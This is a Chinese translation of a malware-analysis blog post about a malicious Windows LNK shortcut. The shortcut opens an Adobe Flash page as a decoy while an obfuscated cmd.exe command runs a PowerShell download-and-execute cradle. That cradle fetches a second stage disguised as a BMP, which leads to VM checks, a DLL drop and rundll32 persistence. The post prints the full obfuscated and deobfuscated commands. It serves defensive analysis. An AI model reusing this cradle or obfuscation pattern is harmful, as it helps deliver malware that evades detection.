一、前言

最近,我的一个朋友分享了一个有趣的恶意样本,它是一个微软快捷方式文件(LNK文件),在用户点击执行后导致感染。此前,我并不了解这种类型的攻击媒介,但在搜索引擎上进行了简单的查询之后,我发现自2017年以来,这种类型的攻击就有所增加,我感觉很惊讶。在这篇文章中,我们将分析LNK文件恶意软件,并揭示攻击者是如何使用多层混淆来逃避反病毒软件,并最终投放恶意二进制文件的。我们还将对每一层进行反混淆,并了解代码的实际作用。

我们正在分析的文件为:af6df15050dea1a756bb99bb0597d7072c2aee4c。

二、动机

我之所以对这个特定样本感兴趣,是因为这个文件初步看起来是非常的安全,并且从社会工程学的角度来看它是非常具有吸引力的。作为一个快捷方式文件,它在用户看来并不可疑,因为文件并不是EXE。接下来,当用户单击文件时,会弹出一个浏览器窗口,它会打开链接https://get.adobe.com/br/flashplayer/,这就会让用户认为他的系统中缺少一个Flash插件,而这时无法打开和执行该文件的原因,一旦在用户安装了Flash播放器并再次尝试打开文件,并意识到它只是一个垃圾文件时,就为时已晚。

但是,在系统后台实际发生的,是它通过Shell命令执行PowerShell命令,下载下一阶段的PowerShell脚本,该脚本负责对主要恶意可执行文件进行实际下载和安装。它下载的文件是一个BMP文件,乍看上去是一个安全性较高的图像文件,但实际上它是经过伪装的PowerShell文件。

三、什么是LNK文件

LNK是Microsoft Windows用于指向可执行文件或应用程序的快捷方式文件的扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。“LNK”是“Link”的缩写,该文件可以通过更改图标来伪装成合法文档,但在我们所分析的这个恶意样本中却没有这样做。

四、基本分析

下面是该文件常规属性看上去的样子。

仔细看一下“快捷方式”(Shortcut)选项卡,我们能得到更多细节信息,如下所示。

正如我们在目标字段中看到的那样,它指向了带有一些参数的命令提示符可执行文件。这是在执行此LNK文件时运行的命令,但却不是完整的命令。

在“快捷方式” – “目标”中,支持的最大长度仅为260个字符。任何比这更长的内容都不可见。但是,命令行参数的最大长度为4096个字符,因此我们无法在上面的窗口中看到完整的命令。所以,我使用另外一个工具,来提取整个命令。

五、深入研究LNK文件格式

使用LNK文件分析工具,我们可以设法获得整个嵌入式命令,如下所示。

提取LNK文件的属性后,我们得到了其中比较感兴趣的一些字段:

字段:Relative path    

值:..\..\..\..\Windows\system32\cmd.exe

字段:Working Directory

值:%SystemRoot%\System32

字段:Arguments

值:/V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&…

c:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/ &&set aZM4j3ZhPLBn9MpuxaO= -win 1 &&set MlyavWfE=ndows&&set jA8Axao1xcZ=iEx&&set WMkgA3uXa1pXx=tRi&&set KNhGmAqHG5=bJe&&set 4kxhaz6bqqKC=LOad&&set rwZCnSC7T=nop&&set jcCvC=NEw&&set ZTVZ=wEbc&&set DABThzRuTT2hYjVOy=nt).dow&&set cwdOsPOdA08SZaXVp1eFR=t NeT.&&set Rb=Ers&&set j4HfRAqYXcRZ3R=hEll&&set Kpl01SsXY5tthb1=.bmp&&set vh7q6Aq0zZVLclPm=\v1.0\&&set 2Mh=pOw&&set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%&&@echo off && %SystemDrive% && cd\ && cd %SystemRoot%\System32 &&echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! –

我们将上述混乱的命令做整理,发现它只是一系列Shell命令,并且使用&&相互连接。整理后的结果如下所示:

set x4OAGWfxlES02z6NnUkK=2whttpr0
set L1U03HmUO6B9IcurCNNlo4=.com
echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/
set aZM4j3ZhPLBn9MpuxaO= -win 1
set MlyavWfE=ndows
set jA8Axao1xcZ=iEx
set WMkgA3uXa1pXx=tRi
set KNhGmAqHG5=bJe
set 4kxhaz6bqqKC=LOad
set rwZCnSC7T=nop
set jcCvC=NEw
set ZTVZ=wEbc
set DABThzRuTT2hYjVOy=nt).dow
set cwdOsPOdA08SZaXVp1eFR=t NeT.
set Rb=Ers
set j4HfRAqYXcRZ3R=hEll
set Kpl01SsXY5tthb1=.bmp
set vh7q6Aq0zZVLclPm=\\v1.0\\
set 2Mh=pOw
set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%
@echo off
%SystemDrive%
cd\\
cd %SystemRoot%\\System32
echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\\Internet Explorer\\iexplore.exe

上面每一行都是Shell命令。在第一行中,设置了一些变量,然后在第三行和最后一行中使用这些变量来编译并执行。这种编译和反汇编变量名的方法使代码更难阅读。

上面混淆的Shell脚本,可以解码以下两个命令:

C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com && echo | start 
https://get.adobe.com/br/flashplayer/

此命令在浏览器窗口中打开Adobe Flash Player安装页面。

echo iEx("iEx(New-Object Net.WebClient).DownloadString('hxxps://s3-eu-west-1.amazonaws.com/juremasobra2/jureklarj934t9oi4.bmp')"); | WindowsPowershell\v1.0\Powershell -nop -win 1 --%ProgramFiles%\\Internet Explorer\\iexplore.exe

此命令实际下载了第二阶段PowerShell,该文件伪装成URL中的BMP文件。

六、解码第二层PowerShell

由上面LNK文件下载的PowerShell脚本,可以在这里找到(fd60a8b790b42f0c416c28e4ad22dc317ad8fbc5)。该脚本经过严重混淆,使用了ISESteriods。我最终成功对脚本进行解码,可以在这里找到可读版本的代码。

该脚本会执行以下操作:

1、检查是否在虚拟机内部运行,如果正在运行,则不执行其余命令并退出。否则,将会进行后续步骤。该脚本会检查如下虚拟机是否存在:

(1)VirtualBox

(2)VMware Virtual Platform

(3)Virtual Machine

(4)HVM domU

2、创建一个名为444444444444的互斥锁(Mutex),这是为了确保只运行该程序的一个实例。

3、如果上一步成功进行,则下载一个Zip压缩包文件,该文件再次伪装成一个图像文件,下载地址为hxxps[://]s3-eu-west-1.amazonaws.com/juremasobra2/image2.png,文件特征值为887eafc19419df5119a829fd05d898503b7a0217。

4、将PNG文件重命名为ZIP文件。

5、从包含DLL(92be09ca93ad6a8b04b7e2e2087fc6884fef1f63)的ZIP文件中解压缩内容,并将该DLL文件复制到启动(Startup)文件夹中。

6、通过在启动文件夹中创建快捷方式文件,来实现其持久化机制,这个快捷方式文件(又是LNK)在命令行中调用run32.dll来运行恶意DLL二进制文件。由于run32.dll是一个系统内置、经过签名的二进制文件,因此这里的执行操作并不会引起怀疑。例如,该命令_rundll32.exe shell32.dll, ShellExec_RunDLL notepad.exe_将会启动notepad.exe。

7、脚本随后休眠40秒,然后重新启动主机。

通过上述持久性技术,恶意软件试图将其恶意DLL二进制文件隐藏在合法二进制文件之中。

关于这种持久性机制的更多信息,可以阅读这里

七、样本信息

af6df15050dea1a756bb99bb0597d7072c2aee4c:恶意LNK文件

fd60a8b790b42f0c416c28e4ad22dc317ad8fbc5:恶意LNK文件投放的PowerShell文件

887eafc19419df5119a829fd05d898503b7a0217:上述PowerShell文件投放的ZIP文件

92be09ca93ad6a8b04b7e2e2087fc6884fef1f63:上述ZIP文件中解压缩的恶意DLL文件

八、参考

[1] 关于LNK文件格式

[2] 与此样本攻击方法类似的攻击分析

[3] TrendMicro博客对这种类型攻击的分析

本文翻译自:https://dexters-lab.net/2019/02/16/analyzing-the-windows-lnk-file-attack-method/如若转载,请注明原文地址: http://www.4hou.com/system/16274.html
源链接

Hacking more

...